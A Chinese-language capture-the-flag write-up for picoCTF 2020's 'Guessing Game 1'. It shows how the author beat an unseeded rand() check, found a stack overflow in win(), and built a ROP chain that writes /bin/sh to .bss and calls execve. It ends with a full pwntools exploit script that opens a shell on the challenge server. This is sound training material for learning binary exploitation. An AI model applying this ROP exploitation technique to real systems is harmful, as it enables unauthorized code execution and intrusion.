picoCTF 2020 Guessing Game 1

這題目花了我好幾個小時

https://play.picoctf.org/events/3/challenges/challenge/90

開始

我們先看看 Makefile

all:
  gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
clean:
  rm vuln

這個程式可能有 Buffer Overflow，它用 static link，不能改 plt, got

看看 do_stuff 和 get_random

long get_random() {
  return rand() % BUFSIZE;
}
int do_stuff() {
  long ans = get_random();
  ans = increment(ans);
  int res = 0;

  printf("What number would you like to guess?\n");
  char guess[BUFSIZE];
  fgets(guess, BUFSIZE, stdin);

  long g = atol(guess);
  if (!g) {
    printf("That's not a valid number!\n");
  } else {
    if (g == ans) {
      printf("Congrats! You win! Your prize is this print statement!\n\n");
      res = 1;
    } else {
      printf("Nope!\n\n");
    }
  }
  return res;
}

輸入用 fgets，沒有 Buffer Overflow

但 rand 沒有初始化，它的值一直是固定的

用 gdb 可以很快找到 ans 的值

ans 固定為 84

補注: 截圖沒有截到 rax，但是 rax 應是 84

可以進到 win 裡面了

決定攻擊手法

win 裡面有 Buffer Overflow，明明 BUFSIZE 只有 100，卻可以填 360 個字元

// BUFSIZE = 100
void win() {
  char winner[BUFSIZE];
  printf("New winner!\nName? ");
  fgets(winner, 360, stdin);
  printf("Congrats %s\n\n", winner);
}

找到 padding

payload = 'a'*120

問題來了，我們可以用什麼方法破解它?

1. Shellcode
   
   不行，有開 NX
2. return to libc
   
   它用 static link
3. Format string
   
   printf 看起來不能利用
4. ROP
   
   好像可以

決定用 ROP

編寫 ROP chain

使用 ROPgadget
找不到 pop eax，只有 pop rax

把 /bin/sh 放到 .bss 段

payload += flat([pop_rax, buf, pop_rdx, '/bin', mov_drax_edx, \
                 pop_rax, buf+4, pop_rdx, '/sh\x00', mov_drax_edx])

system call execve 參數

• eax: 11
• ebx: 字串 /bin/sh 的位置
• ecx: 0
• edx: 0

payload += flat([pop_rbx, buf, pop_rax, 11, pop_rdx, 0, int_0x80])

rcx 找不到適合的 gadget，只好先不理它，反正它常常是 0

想知道更多 system call 用法，可以到這個網站
https://syscalls.w3challs.com/?arch=x86

暫存器尺寸

原本以為沒事了，沒想到…
輸入的資料會黏在一起

我們輸入的是 32-bit，但卻用 64-bit 的暫存器，所以必須在資料後面加上 4 個\x00

如果你用 flat，可以在每個指令後面都加入一個 0

flat([pop_rbx, 0, buf, 0, pop_rax, 0, 11, 0, pop_rdx, 0, 0, 0, int_0x80, 0])

成果

from pwn import *

context.arch = 'i386'
#r = process('./vuln')
r = remote('jupiter.challenges.picoctf.org', 39936)

s = r.recvuntil('?\n')

r.sendline('84')

buf = 0x6bc3a0
pop_rax = 0x4163f4
pop_rbx = 0x400ed8
pop_rdx = 0x44a6b5
mov_drax_edx = 0x48dd72
mov_rax_rdx = 0x41b570
int_0x80 = 0x468fea

payload = 'a'*120
payload += flat([pop_rax, 0, buf, 0, pop_rdx, 0, '/bin',0 , mov_drax_edx, 0,
                 pop_rax, 0, buf+4, 0, pop_rdx, 0, '/sh\x00',0 , mov_drax_edx, 0])
payload += flat([pop_rbx, 0, buf, 0, \
                 pop_rax, 0, 11, 0, pop_rdx, 0, 0, 0, int_0x80, 0])
# 有夠醜

raw_input()

r.recvuntil('? ')
r.sendline(payload)

r.interactive()